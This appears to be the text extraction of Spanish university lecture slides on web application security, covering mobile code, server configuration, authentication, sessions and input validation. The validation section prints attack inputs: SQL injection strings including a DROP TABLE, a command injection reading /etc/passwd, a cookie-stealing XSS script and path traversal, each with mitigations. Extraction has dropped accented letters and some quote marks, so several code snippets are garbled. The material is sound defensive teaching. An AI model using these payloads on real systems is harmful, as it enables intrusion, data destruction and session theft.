Seguridad en Las Aplicaciones Web

Seguridad en Sistemas Informticos e Internet
Seguridad en las
Aplicaciones Web
LabIS2
http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos
Universidad de Sevilla
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Contenido
Introduccin
Aplicaciones Web
Cunta seguridad es necesaria?
Amenazas ms importantes a las aplicaciones web
Guas de seguridad
Seguridad
Seguridad
Seguridad
Seguridad
en
en
en
en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Contenido
Introduccin
Seguridad en el Cliente
Cdigo mvil
Lenguajes de Macro: VBA
Lenguajes de Script: JavaScript y VBScript
Applets Java
Controles ActiveX
Seguridad en el Servidor
Seguridad en la Aplicacin
Seguridad en la Comunicacin
Contenido
Introduccin
Servidor Web
Servidor de Bases de Datos
Lenguajes de servidor
Contenido
Introduccin
Control de acceso
Validacin de datos de entrada
Programacin segura
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
SSL
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Programacin
Teora
Prctica
Viernes 7
Introduccin
Seguridad en el cliente
1. Cdigo mvil
Jueves 20
Seguridad en el servidor
Seguridad en la aplicacin:
control de acceso
2. Autentificacin bsica HTTP
Viernes 21
control de acceso
3. Control de acceso
Jueves 4
validacin de datos de entrada
4. Validacin de datos
Viernes 5
programacin segura
Seguridad en la comunicacin
5. SSL en Apache
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
Introduccin
Aplicaciones Web
Amenazas ms importantes a las
aplicaciones web
Guas de seguridad
10
Introduccin
Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el

protocolo HTTP para interactuar con los usuarios u
otros sistemas
El cliente utilizado por los usuarios es
habitualmente un navegador
Los problemas de seguridad pueden provenir de los
programas web en los que se apoyan, aunque en
su mayor parte son consecuencia de fallos en la
lgica y el diseo de la propia aplicacin
11
Introduccin
La seguridad supone un coste econmico y de

eficiencia. Hay que disponer de la adecuada, ni ms
ni menos
Para ello hay que tener en cuenta tres reglas:
El riesgo cero no es prctico
Hay diversas formas de mitigar el riesgo
No se puede gastar un milln para proteger un

cntimo
12
Introduccin
Amenazas ms importantes: Top 10
The Open Web Application Security Project (OWASP)
The Ten Most Critical Web Application Security

Vulnerabilities
www.owasp.org/documentation/topten
13
Introduccin
Top Ten de amenazas

1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
Entrada no validada
Control de acceso roto
Administracin de sesin y autentificacin rota
Fallos de Cross Site Scripting (XSS)
Desbordamiento del buffer
Fallos de inyeccin
Manejo inadecuado de errores
Almacenamiento inseguro
Negacin de servicio
Administracin de configuracin insegura
14
Introduccin
Guas de seguridad
Es conveniente tener en cuenta unos principios de

alto nivel al disear aplicaciones web:
Validar la entrada y la salida
Fallar con seguridad
Mantener un esquema de seguridad simple
Utilizar componentes de confianza
La seguridad a travs de la oscuridad no funciona
Mantener los privilegios al mnimo y separados
15
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
16
Cdigo mvil
JavaScript
VBScript
Applets Java
Controles ActiveX
17
Cdigo mvil
Cdigo que circula por la red y se ejecuta en una

mquina remota
Aparece incrustado en un documento HTML. Un
cliente de correo o un navegador que carguen el
documento lo ejecutarn en la mquina cliente
Potencia la funcionalidad de los documentos HTML
pero entraa riesgos de seguridad. Un cdigo mvil
puede obtener informacin acerca de un sistema o
un usuario y enviarla a una mquina remota
18
Cdigo mvil
Puede estar incrustado directamente en el

documento, caso de los lenguajes de script como
JavaScript y VBScript
Tambin puede residir en un servidor y ser
invocado mediante una referencia en el documento,
caso de las applets de Java o los controles ActiveX
El cdigo ActiveX suele permanecer en el sistema
una vez que se instala, mientras que las applets de
Java se ejecutan una sla vez y no se almacenan
en la mquina del usuario
19
Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil:
Lenguajes de macro como Visual Basic for

Applications (VBA)
Scripts como JavaScript y VBScript
Applets de Java
Controles ActiveX
Un mtodo de proteccin comn es tener siempre
actualizado el software
20
Es un lenguaje de macro propio de Microsoft Office,

aunque otras aplicaciones lo han adoptado
Permite el acceso a todas las funciones de la
aplicacin, incluyendo el acceso a disco
La macro est incrustada en el documento
21
Las versiones previas a Office 97 ejecutaban las

macros al abrir los documentos sin pedir
autorizacin al usuario. Una macro poda contener
un virus y causar grandes perjuicios
Al ejecutarse podra copiarse en la plantilla normal,
con lo que aparecera en cualquier documento
creado con la aplicacin y se expandira al
compartirse los documentos
Ejemplo: Melissa (1999), creado con VBA en un
documento Word. Se reenviaba a los primeros 50
contactos de Outlook
22
Para protegerse de los virus de macro hay que

tener mucha precaucin al permitir la ejecucin de
macros en un documento. Slo debe hacerse
cuando la fuente de procedencia del documento
sea fiable
23
JavaScript
Fue diseado para aadir interactividad a una

pgina web
Un cdigo JavaScript tiene acceso nicamente a la
informacin contenida en la pgina en la que est
incrustado
Es bastante seguro. Algunos problemas del pasado
han estado relacionados con implementaciones de
JavaScript por parte de Microsoft y Netscape. La
madurez de la tecnologa ha permitido solucionarlos
24
JavaScript
El nico problema serio est relacionado con los

servicios de correo Web
Si se recibe un correo con un cdigo malicioso, al
visualizarlo podra hacer cosas como leer los
mensajes del usuario, enviar mensajes en su
nombre, leer una cookie o abrir una falsa ventana
de identificacin para pedir al usuario la
confirmacin de su password. Podra usar marcos
para continuar ejecutndose mientras visualizamos
otros mensajes o realizamos otras tareas
Apareci por primera vez en Hotmail y provoc que
los servicios de correo web decidieran neutralizar el
cdigo JavaScript de los mensajes recibidos
25
JavaScript
Otra fuente de problemas es la posibilidad que

ofrece de comunicarse con los plug-ins del
navegador (p. Ej. Shockwave player). Si el plug-in
tiene acceso a disco, JavaScript tambin lo tiene
La mejor proteccin es tener el software
actualizado. Si se utiliza un servicio de correo web
hay que verificar que tiene activados filtros contra
el cdigo JavaScript. Tambin se puede deshabilitar
JavaScript o pedir confirmacin cuando se intente
ejecutar cdigo JavaScript, aunque puede resultar
muy pesado
Netscape permite deshabilitar JavaScript de forma
independiente para navegador y lector de correo
26
VBScript
Slo funciona con Internet Explorer y Outlook, por

lo que no es tan popular como JavaScript
Ofrece una funcionalidad similar pero con una
notable excepcin: puede interactuar con los
controles ActiveX instalados en la mquina
sta es la principal fuente de problemas, ya que
carece de operaciones potencialmente peligrosas
Los controles ActiveX pueden ser marcados como
safe o unsafe for scripting de forma que se impida
a los scripts acceder a ellos
27
Applets Java
Normalmente no pueden leer ni escribir datos en el

disco local ni comunicarse con otro recurso de la
red salvo el servidor del que procede, lo cual
garantiza que no tendrn comportamiento malicioso
Excepcin: pueden crear hilos que se ejecutan
en segundo plano. Estos hilos pueden seguir en
ejecucin aunque se cierre el navegador y pueden
tener un efecto poco pernicioso, como reproducir
msica de fondo. La nica forma de pararlos es
cerrar todas las ventanas del navegador
Efecto ms negativo: el applet crea hilos que
consumen mucha memoria y/o CPU haciendo ms
lento el sistema y llegando incluso a colapsarlo
28
Controles ActiveX
Son la respuesta de Microsoft a las applets de Java

Slo funcionan bsicamente con Internet Explorer y
Outlook
La seguridad de los controles ActiveX se basa en los
certificados digitales. Los controles estn
firmados digitalmente para garantizar su
autenticidad
Al cargar el control IE presenta el certificado digital
y pide autorizacin para instalarlo. Pueden existir
controles sin firma, aunque sern directamente
rechazados por IE si est configurado
correctamente
29
30
Controles ActiveX
El problema se da cuando un control est mal

construido, proporcionando agujeros de seguridad
a los atacantes
Un problema habitual en algunos controles es el
buffer overrun, padecido por ejemplo por el control
de Adobe Acrobat Reader 4.0 y que permite la
ejecucin de cdigo arbitrario en la mquina del
usuario
Cuando se construye un control ActiveX que puede
realizar tareas potencialmente peligrosas (como
leer o escribir en disco) hay que tener la precaucin
de marcarlo como unsafe for scripting para que no
pueda ser llamado desde VBScript
31
Prctica 1: Cdigo mvil
Creacin de un formulario
Validacin de datos con JavaScript
Formas de saltarse la validacin JavaScript
32
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
33
Servidor Web
34
El desarrollo de una aplicacin web requiere de una

serie de herramientas: servidores web, servidores
de aplicaciones, servidores de bases de datos,
lenguajes de servidor, etc.
Estas herramientas pueden plantear problemas
que comprometan a la aplicacin:
Vulnerabilidades debidas al uso de versiones no

actualizadas
Configuraciones por defecto inadecuadas
Activacin de cuentas por defecto

Las herramientas deben estar actualizadas y
bien configuradas para impedir ataques a la
aplicacin
35
Servidor Web
Proporciona muchos servicios y es muy probable

que algunos de ellos no sean necesarios para el
funcionamiento de la aplicacin web
En tal caso es conveniente deshabilitarlos
Para ello el servidor dispone de mltiples opciones
de configuracin que es conveniente adaptar a las
circunstancias concretas de la aplicacin web
36
Servidor Web
Precauciones a tener en cuenta:
Establecer permisos adecuados para los ficheros

del servidor y los documentos. Es conveniente
definir un usuario y grupo especiales (web, www)
Listado automtico de directorios. Puede ser

conveniente pero proporciona informacin sensible
Seguimiento de enlaces simblicos. Peligroso si se

enlazan ficheros externos al rbol de documentos
37
Servidor Web
Precauciones a tener en cuenta (cont):
Ejecucin de CGI. Slo debe permitirse a usuarios

de confianza y restringirlo a un directorio especial
Server side includes (SSI). Es una fuente de

peligro y puede tener que ser restringido a
usuarios de confianza o deshabilitado (en
particular la opcin exec). Ejemplo:
... cdigo HTML

... cdigo HTML
38
Servidor Web
Ejercicio: Configuracin de Apache
39
Servidor Web
Es muy conveniente revisar peridicamente los

ficheros de log (access_log y error_log en Apache)
para detectar posibles ataques al servidor
40
Servidor Web
Ejercicio: Ficheros de log en Apache
41
Proporciona acceso a bases de datos, fundamental

en toda aplicacin web importante. Riesgos:
Descubrimiento de informacin acerca de los datos

de conexin al servidor (usuario y clave),
informacin sensible almacenada en la base de
datos (tarjetas de crdito) o informacin sobre la
estructura de la base de datos
Modificacin de las instrucciones SQL enviadas al

servidor, construidas de forma dinmica a partir de
datos recibidos del usuario y por tanto
potencialmente peligrosos (Inyeccin SQL)
Acceso no autorizado a informacin restringida

42
Hay que vigilar la configuracin por defecto del

servidor, que puede incluir bases de datos y
usuarios predefinidos que conviene eliminar
Algunas recomendaciones:
No ejecutar el servidor como root
No dar a ningn usuario salvo al root permiso de

acceso a la tabla de usuarios
Asegurarse de que el root tiene un password
Restringir el acceso remoto al servidor
No dar a un usuario ms permisos que los

estrictamente necesarios
Almacenar los datos sensibles de forma encriptada

43
En el cdigo de la aplicacin hay que tener, entre

otras, las siguientes precauciones:
Validar las instrucciones SQL antes de enviarlas al

servidor
No revelar informacin sobre la base de datos en

los mensajes de error (esquema, naturaleza de los
datos almacenados, fragmentos SQL)
Proteger el cdigo donde aparezca informacin

sensible para el acceso al servidor
44
Ejercicio: Configuracin de MySQL
45
ASP, JSP, PHP

Aumentan enormemente la potencia de los
documentos HTML al permitir la comunicacin con
aplicaciones residentes en el servidor, y muy
especialmente con servidores de bases de datos
Esta potencialidad conlleva riesgos. Hay que
revisar a fondo la configuracin para eliminar
funcionalidades no utilizadas y seguir prcticas
adecuadas de programacin, sobre todo en
funciones con vulnerabilidades conocidas
46
Hay que proteger el cdigo fuente para evitar

que pueda ser visualizado, especialmente cuando
contiene informacin sensible como pueden ser los
datos de conexin al servidor de bases de datos
Una medida razonable consiste en sacar el cdigo
fuente sensible fuera de la raz de la web
47
Ejercicio: Errores en cdigo PHP
48
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
49
Control de acceso
Programacin segura
50
Control de acceso
Un aspecto muy importante de una aplicacin web

es el control de acceso de los usuarios a zonas
restringidas de la aplicacin
Aqu intervienen dos conceptos:
Autentificacin
Autorizacin
51
Autentificacin
Es el proceso de determinar si un usuario es quien

dice ser
Esto se puede hacer de varias maneras. Algunas de
ellas son:
Autentificacin HTTP bsica
Autentificacin basada en la aplicacin
52
Cuando se requiere una URI protegida, el servidor

web devuelve un cdigo HTTP/1.1 401
Authorization required, indicando al cliente que
muestre una ventana de dilogo con un nombre de
usuario y una contrasea
Cuando se pulsa el botn de envo estos datos
llegan al servidor que comprueba si son correctos y
en caso afirmativo sirve el recurso solicitado
53
54
Ventajas:
Es muy simple de implementar
Se pueden fijar restricciones de acceso por usuario

y contrasea o por otros conceptos como por
ejemplo el dominio o direccin IP de la mquina
Inconvenientes:
Los datos viajan por la red sin encriptar
No se puede hacer logout, la nica forma es cerrar

el navegador
No hay control sobre el diseo de la ventana de

dilogo
55
Ejercicio: proteccin de un directorio del servidor
56
Prctica 2: Autentificacin HTTP
bsica
Creacin de una pgina web

Creacin de un usuario
Creacin de un fichero .htaccess
Configuracin del servidor web Apache
57
Autentificacin basada en la
aplicacin
La propia aplicacin puede implementar un

mecanismo de autentificacin que implica la
presentacin de un formulario para que el usuario
introduzca sus credenciales y el uso de una base de
datos para verificar la correccin de stas
Es ms costosa pero ms flexible ya que
permite establecer diferentes permisos y niveles de
acceso en funcin del usuario que solicita la
autentificacin
58
59
Passwords
Siempre que se utilizan passwords para autentificar

usuarios hay que seguir unas recomendaciones:
Restringir los valores para los nombres de

usuarios. Los que representan nombres reales
suponen dar pistas a los atacantes
Almacenar los passwords de forma segura,

protegiendo el acceso a la base de datos
Seguir reglas de seguridad para su eleccin
Bloquear una cuenta cuando se detecta un nmero

determinado de intentos de acceso incorrectos
Actualizar los passwords peridicamente y

mantener un histrico para evitar repeticiones
60
Passwords
Cualquier sistema que requiera autentificacin debe

tener una poltica de recuperacin de
passwords en caso de olvido del usuario
Esto se puede hacer de dos formas:
Automticamente
A travs de tcnicos de soporte
61
Passwords
En el caso automtico hay varias estrategias:
Plantear durante el registro del usuario varias

preguntas a las que slo l puede responder
Enviar el password por correo electrnico. Es

recomendable que tenga fecha de expiracin y se
pida su cambio cuando el usuario se conecte
Comunicar el password por telfono al usuario a

requerimiento del mismo
Deben registrarse todos los intentos de
recuperacin y fijar un lmite de tiempo pasado el
cual sera preciso recurrir al tcnico
62
63
Passwords
En el caso del tcnico hay que prever el servicio a

personas de diferentes pases con lenguas
diferentes
La intervencin humana da mayor seguridad, pero
es ms costosa y ms molesta para el usuario
Una alternativa a la presencia fsica puede ser el
uso del fax para enviar la documentacin que
certifique la identidad del usuario
64
Sesiones
Una vez que el usuario se ha autentificado

introduciendo su nombre de usuario y su clave, es
preciso mantener esta autentificacin en cada
conexin subsiguiente
Para evitar tener que mostrar nuevamente la
ventana de autentificacin se recurre habitualmente
al uso de sesiones, un mecanismo que permite
mantener el estado entre diferentes peticiones
HTTP
65
Sesiones
El mecanismo es el siguiente:
Una vez autentificado, al usuario se le asigna un

identificador de sesin
Este identificador acompaar invisiblemente a

cada peticin del usuario, con lo cual se
garantizar que la peticin proviene de un usuario
previamente autentificado
El identificador de sesin se suele almacenar en la

propia mquina del cliente, mediante una cookie
Slo se debe almacenar el identificador de la

sesin; cualquier otro dato del usuario se
almacenar en el servidor
66
Sesiones
La gestin de las sesiones es responsabilidad del

programador. Normalmente los lenguajes de
servidor disponen de funciones diseadas
especficamente para ello
En PHP se dispone de las siguientes funciones:
session_start
session_register
session_is_registered
session_unregister
session_destroy
67
Sesiones
Un buen sistema de gestin de sesiones debe:
Establecer un tiempo lmite de vida para la sesin
Regenerar el identificador de sesin cada cierto

tiempo
Detectar intentos de ataque de fuerza bruta con

identificadores de sesin
Requerir una nueva autentificacin del usuario

cuando vaya a realizar una operacin importante
Proteger los identificadores de sesin durante su

transmisin
Destruir la cookie al finalizar la sesin para evitar

el acceso de otro usuario en un entorno pblico
68
Sesiones
Ejercicio: sesiones en PHP
69
Autorizacin
Es el acto de comprobar si un usuario tiene el

permiso adecuado para acceder a un cierto fichero
o realizar una determinada accin, una vez que ha
sido autentificado
70
Autorizacin
Disear el mecanismo de control de acceso exige:
Determinar la informacin que ser accesible por

cada usuario
Determinar el nivel de acceso de cada usuario a la

informacin
Especificar un mecanismo para otorgar y revocar

permisos a los usuarios
Proporcionar funciones a los usuarios autorizados:

identificacin, desconexin, peticin de ayuda,
consulta y modificacin de informacin personal,
cambio de password, etc.
Ajustar los niveles de acceso a la informacin a la

poltica de seguridad de la organizacin
71
Autorizacin
Modelos para el control de acceso:
Control de Acceso Discrecional: se basa en la

identidad de los usuarios o su pertenencia a ciertos
grupos. El propietario de una informacin puede
cambiar sus permisos a su discrecin
Control de Acceso Obligatorio: cada pieza de

informacin tiene un nivel de seguridad y cada
usuario un nivel de acceso, lo cual permite
determinar los permisos de acceso de cada usuario
a cada pieza de informacin
Control de Acceso Basado en Roles: cada

usuario tiene un rol dentro de la organizacin y en
funcin de l unos permisos de acceso
72
Autorizacin
Para la implementacin del mecanismo de control

de acceso en la aplicacin suele recurrirse al uso de
bases de datos
73
Prctica 3: Control de acceso
Disear un mecanismo de control de acceso

Definir usuarios
Especificar nivel de acceso de los usuarios
74
El problema ms frecuente que presentan las

aplicaciones web es no validar correctamente
los datos de entrada
Esto da lugar a algunas de las vulnerabilidades ms
importantes de las aplicaciones, como la Inyeccin
SQL, el Cross-Site Scripting y el Buffer Overflow
Veamos los siguientes aspectos:
Fuentes de entrada
Inyeccin
Estrategias de proteccin
Vulnerabilidades especficas
75
Fuentes de entrada
Los datos de entrada pueden provenir de cuatro

fuentes diferentes:
Cadenas URL
Cookies
Cabeceras HTTP
Campos de formularios
76
Fuentes de entrada cadenas URL
Cuando se enva un formulario con el mtodo GET,

los nombres y valores de todos los elementos del
formulario aparecen detrs de la URL de la pgina
invocada:
http://www.victim.com/example?accountnumber=12345
Es muy fcil modificar esta cadena:

http://www.victim.com/example?accountnumber=67891
77
Fuentes de entrada cadenas URL
La aplicacin debe chequear el valor recibido

aunque proceda de una lista desplegable con
unos valores predefinidos, ya que el usuario ha
podido modificar manualmente la URL
Este problema se da tambin en los hipervnculos
que incluyen parmetros
Siempre que se enven datos sensibles hay que
acompaarlos de un identificador de sesin y
comprobar que el usuario asociado a la sesin tiene
acceso a la informacin requerida
78
Fuentes de entrada - cookies
Es un mtodo habitual de mantener el estado o

almacenar preferencias del usuario.
Pueden ser modificadas por el cliente para
engaar al servidor. El peligro depender de lo que
se almacene en la cookie. Por ejemplo, la cookie
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;
puede ser modificada fcilmente por:

Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;
Lo mejor es almacenar en la cookie

nicamente el identificador de sesin,
manteniendo la informacin relevante en el servidor
79
Fuentes de entrada - cabeceras
Las cabeceras HTTP contienen informacin de

control enviadas entre el cliente y el servidor. Por
ejemplo,
Host: www.someplace.org
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14
Referer: http://www.someplace.org/login.php
Content-type: application/x-www-form-urlencoded
Content-length: 49
80
Fuentes de entrada - cabeceras
Si la aplicacin web utiliza las cabeceras recibidas

del cliente, hay que tener en cuenta que stas
pueden haber sido manipuladas, por lo que deben
ser verificadas
Por ejemplo, sea la siguiente cabecera:
Accept-Language: es
Si el contenido de la cabecera se utiliza

directamente en una consulta a la base de datos,
podra utilizarse para inyectar rdenes SQL
modificando la cabecera
81
Fuentes de entrada - formularios
Los formularios pueden ser modificados para enviar lo

que el usuario desee. Basta con guardar la pgina,
modificar el cdigo y recargarlo en el navegador. Las
limitaciones impuestas en el propio formulario
se pueden saltar perfectamente. Ejemplo:
<input type=text name="titulo" maxlength="100">
Este elemento podra modificarse as:

<input type=text name="titulo" maxlength="100000">
con el consiguiente riesgo para la aplicacin si el valor

no se chequea adecuadamente
82
Los campos ocultos (HIDDEN) tambin son

vulnerables a este ataque, por lo que no deben
utilizarse para almacenar informacin sensible
Es mucho ms seguro utilizar sesiones y
almacenar la informacin sensible en el servidor
Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N">
<input name="price" type="hidden" value="199.99">
83
Ejercicio: validacin de datos de formularios con

la herramienta WebGoat
Descarga e instalacin de WebGoat
Ejercicio: hidden field tampering
Ejercicio: unchecked email
Ejercicio: JavaScript validation
84
Inyeccin
Consiste en inyectar en la aplicacin datos

introducidos por el usuario. Esto es muy habitual y
de por s no es peligroso
85
Inyeccin de datos
Ejemplo: sea la siguiente instruccin:

sql= "SELECT * FROM noticias WHERE id = $id";
Pulsando en el artculo de inters para el usuario se

convierte en:
sql= "SELECT * FROM noticias WHERE id = 228";
Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";
Una vez identificado el usuario se convierte en:

print "<H2>Bienvenido/a, Antonio.</H2>";
86
Conectores y payload
Idea: suministrar datos que al ser inyectados en la

aplicacin causen un efecto particular
El ataque est completamente contenido en los
datos suministrados por el atacante, que se pueden
dividir en tres partes:
Conector de prefijo
Payload
Conector de sufijo
El ataque est contenido en el payload y los
conectores lo encajan en la aplicacin
Para elegirlos es preciso un amplio conocimiento del
lenguaje, las herramientas y las tcnicas utilizadas
en la aplicacin
87
Ejemplo: consulta SQL para una interfaz de

identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login =
'$userLogin' AND password = '$userPassword';
Si inyectamos un ataque en el campo userLogin con

los siguientes componentes:
prefijo
payload
sufijo
OR
1=1
OR login=
88
obtendremos la consulta SQL:

SELECT * FROM tablausuarios WHERE login = '' OR
1=1 OR login ='' AND password = ''
que nos devolver todos los usuarios de la tabla
89
Con un mayor conocimiento podemos modificar el

ataque para reducir el nmero de caracteres
empleados, que podra estar limitado. Por ejemplo,
el ataque
prefijo
payload
OR
1=1
sufijo
producira la consulta SQL:

SELECT * FROM tablausuarios WHERE login = '' OR
'1'='1' AND password = ''
90
La eleccin de los conectores puede verse facilitada

por factores como acceso al cdigo fuente o
mensajes de error detallados
Ms importante que esto es el hecho de utilizar
tcnicas de programacin conocidas en el
desarrollo de las aplicaciones
91
Existen tres modelos posibles a la hora de

disear una estrategia de validacin de datos:
Aceptar nicamente datos vlidos conocidos
Rechazar datos no vlidos conocidos
Sanear todos los datos
92
Aceptar nicamente datos vlidos conocidos.

Es la estrategia ms adecuada. Slo deben
aceptarse aquellos datos que se adaptan a lo
esperado. Por ejemplo, si un password debe
contener letras de la A a la Z y dgitos del 0 al 9,
debe verificarse que la entrada es una cadena, que
slo contiene esos caracteres y que tiene una
longitud vlida
93
Aceptar nicamente datos vlidos conocidos.

En general hay que chequear lo siguiente:
Tipo de dato
Longitud mxima y mnima
Datos obligatorios
Si hay una lista enumerada de posibles valores,
comprobar que est en ella
Si hay un formato o plantilla especfico, comprobar que
lo cumple
Si es texto libre, que slo contiene caracteres vlidos
Si se permiten caracteres peligrosos, sanearlos
Deben considerarse los valores por separado pero

tambin teniendo en cuenta que pueden unirse
para formar, por ejemplo, una consulta SQL
94
Rechazar datos no vlidos conocidos. Implica

conocer todos los posibles datos peligrosos, lo cual
es muy difcil
Sanear todos los datos. Consiste en transformar
los datos en una representacin que no presente
riesgos. Por ejemplo, transformar (una comilla
simple) en (dos comillas simples) o < en <. Es
buena como complemento a la primera estrategia
aunque no tanto para utilizarse sla porque es
difcil sanear todos los datos
95
Nunca debe confiarse en la validacin de datos en el

cliente ya que puede puentearse con facilidad. Toda
la validacin de datos debe realizarse en el servidor
Conceptos errneos sobre la validacin en el cliente:
El atributo MAXLENGTH limitar los caracteres que el

usuario puede introducir
El atributo READONLY evitar que el usuario pueda
modificar un valor
Los campos de tipo HIDDEN no se pueden modificar
Las cookies no se pueden modificar
Las listas desplegables o botones de radio limitan los
valores de entrada
Todos los campos del formulario sern enviados
Slo los campos del formulario sern enviados
96
Prctica 4: Validacin de datos
Validacin de datos en el servidor

Creacin de un formulario en PHP con validacin de
los datos de entrada
Uso de expresiones regulares para validar los datos
de entrada
97
Vulnerabilidades especficas
Las vulnerabilidades comunes ms peligrosas que

resultan de una falta de proteccin adecuada ante
los datos de entrada son:
Inyeccin SQL
Inyeccin de rdenes del SO
Inyeccin HTML (Cross-site Scripting o XSS)
Path Traversal
Buffer Overflow
98
Inyeccin SQL
Consiste en inyectar un mandato dentro de una

consulta SQL. Sea la consulta:
$consulta = SELECT titulo FROM libros WHERE
codigo = $codigo;
siendo $codigo un valor introducido desde un

formulario. Si el valor es 23 la consulta ser:
SELECT titulo FROM libros WHERE codigo = 23
Si el valor es
23; DROP TABLE users
la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP

TABLE users
que destruira la tabla de usuarios de MySQL

99
Inyeccin SQL
Sea ahora el siguiente cdigo muy habitual en una

aplicacin Web:
$consulta = SELECT id FROM usuarios WHERE
username = $username AND password =
$password;
Si se introducen los valores juan como username y

jj.ssii como password, la consulta queda:
SELECT id FROM usuarios WHERE username = juan
AND password = jj.ssii
100
Inyeccin SQL
Se puede saltar la comprobacin del password

introduciendo el valor juan-- como username o el
valor OR = como password. Las consultas que
quedaran en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = juan--
AND password =
SELECT id FROM usuarios WHERE username = juan AND
password = OR =
En el primer caso ntese que -- es un comentario

de lnea en MySQL y provoca que se ignore todo lo
que viene tras l en la lnea
101
Inyeccin SQL
La inyeccin SQL puede utilizarse para:
Cambiar valores de las consultas
Concatenar varias consultas
Aadir llamadas a funcin y procedimientos

almacenados a una consulta
Para evitar la inyeccin SQL es muy importante
validar los valores que se han de integrar en
la consulta SQL. En el primer caso, por ejemplo,
$codigo debe ser un valor entero
102
Inyeccin SQL
Ejercicio: inyeccin de una orden SQL desde un

formulario
103
Casi todos los lenguajes de programacin disponen

de funciones que permiten la ejecucin de rdenes
del Sistema Operativo
En PHP, por ejemplo, se tienen las funciones exec()
y system(). Estas funciones son tiles para tareas
como el manejo de ficheros o el envo de correo,
pero plantean serios riesgos ya que se pueden
manipular para:
Alterar las rdenes ejecutadas
Alterar los parmetros pasados a las rdenes del

sistema
Ejecutar rdenes adicionales

104
Sea, por ejemplo, el siguiente cdigo PHP:

system (ls $directorio);
Si el valor de la variable $directorio fuese /tmp;

cat /etc/passwd, se mostrara el fichero de
passwords del sistema ya que se ejecutara la
orden
ls /tmp; cat /etc/passwd
105
Una solucin a este problema es utilizar la funcin

escapeshellarg(), que coloca unas comillas
englobando al parmetro y elimina las que pudiera
haber dentro del mismo:
system (ls . escapeshellarg($directorio));
De esta manera, la orden que se ejecutara ahora

sera
ls /tmp; cat /etc/passwd
106
La mejor proteccin contra este ataque es limitar

toda informacin pasada a las rdenes del sistema
nicamente a valores conocidos
Si estos valores no pueden ser enumerados, la
alternativa es limitar el tamao al mnimo valor
posible y sanear los caracteres que pudieran
utilizarse para ejecutar otras rdenes
Tambin, y en la medida de lo posible, deben
utilizarse las funciones de biblioteca en lugar de
invocar rdenes del SO
107
Ejercicio: inyeccin de una orden del sistema

operativo desde un formulario
108
Inyeccin HTML (Cross-site Scripting)
Consiste en insertar en un texto (p.ej. un mensaje de

un foro) cdigo malicioso (p.ej. JavaScript). Cuando
otro usuario visualice el texto el cdigo se ejecutar
en su mquina. Por ejemplo, si se inserta el texto:
Una galleta?<script>alert(document.cookie)</script>
cuando un usuario lo visualice aparecer su cookie en

una ventana. Esto no es grave ya que cada usuario
visualiza su propia cookie, pero si se modifica as:
<script>document.write('<img src= "http:
//targetsite.com/'+document.cookie+'")</script>
dejar la cookie del usuario en el log del servidor del

atacante, que podra hacerse con la sesin
109
Hay varios tipos de cosas que se pueden insertar

en el cdigo HTML de esta manera:
Marcas HTML, como <SCRIPT>, <A>, <IMG> o

<IFRAME>. El efecto se produce cuando el texto
se visualiza en el navegador de otro usuario
Eventos, como ONCLICK, asociados habitualmente

a elementos de formulario
110
Para evitar este ataque es conveniente filtrar todos

los caracteres que tienen un significado especial en
HTML como , &, < y >. Los lenguajes disponen de
funciones especficas para ello. En PHP existe la
funcin htmlspecialchars()
111
Ejemplo: el siguiente cdigo muestra el campo

mensaje de un registro recuperado de una tabla
print <TD>;
print $fila[mensaje];
print </TD>;
Si el mensaje contiene caracteres HTML puede ser

peligroso. Para solucionarlo se modifica el cdigo:
print <TD>;
print htmlspecialchars($fila[mensaje]);
print </TD>;
112
Esta solucin no siempre es vlida. En el cdigo

//llamada: pag.php?imagen=javascript:alert(document.cookie);
print <IMG SRC=. htmlspecialchars($_GET[imagen]) .>;
// resultado: <IMG SRC=javascript:alert(document.cookie);>
la funcin htmlspecialchars() no evita que se ejecute

el cdigo malicioso. La nica solucin es aceptar
siempre datos garantizados como buenos. En este
caso, slo se debe aceptar un parmetro que
corresponda a un nombre de fichero vlido:
if (preg_match('/^[0-9a-z_]+\.[a-z]+$/i',
$_GET[imagen]))
print <IMG SRC= . $_GET[imagen] . >;
113
Ejercicio: almacenamiento de un script en el

servidor y posterior visualizacin del mismo
114
Path Traversal
Una aplicacin es vulnerable a este tipo de ataques

cuando el atacante puede construir peticiones que
le permiten acceder a ficheros localizados fuera de
la raz de la Web, como por ejemplo /etc/passwd
Para ello utiliza caracteres como ../ en los
parmetros que representan nombres de fichero. Si
el atacante accede a directorios del sistema, podra
llegar incluso a ejecutar mandatos del sistema
115
Path Traversal
Sea por ejemplo el siguiente cdigo PHP:

include (/lib/ . $cabecera);
Si la variable $cabecera toma el valor

../etc/passwd, se mostrara el fichero de
passwords del sistema
116
Path Traversal
Para evitar estos ataques hay que utilizar las

funciones de normalizacin de rutas que suelen
tener los lenguajes
En PHP para chequear nombres de ficheros se
utilizan las funciones realpath() y basename(). La
primera convierte direcciones relativas en absolutas
y la segunda toma una ruta y devuelve la parte
correspondiente al nombre del fichero. En el
ejemplo anterior tendramos:
$cabecera2 = basename (realpath($cabecera));
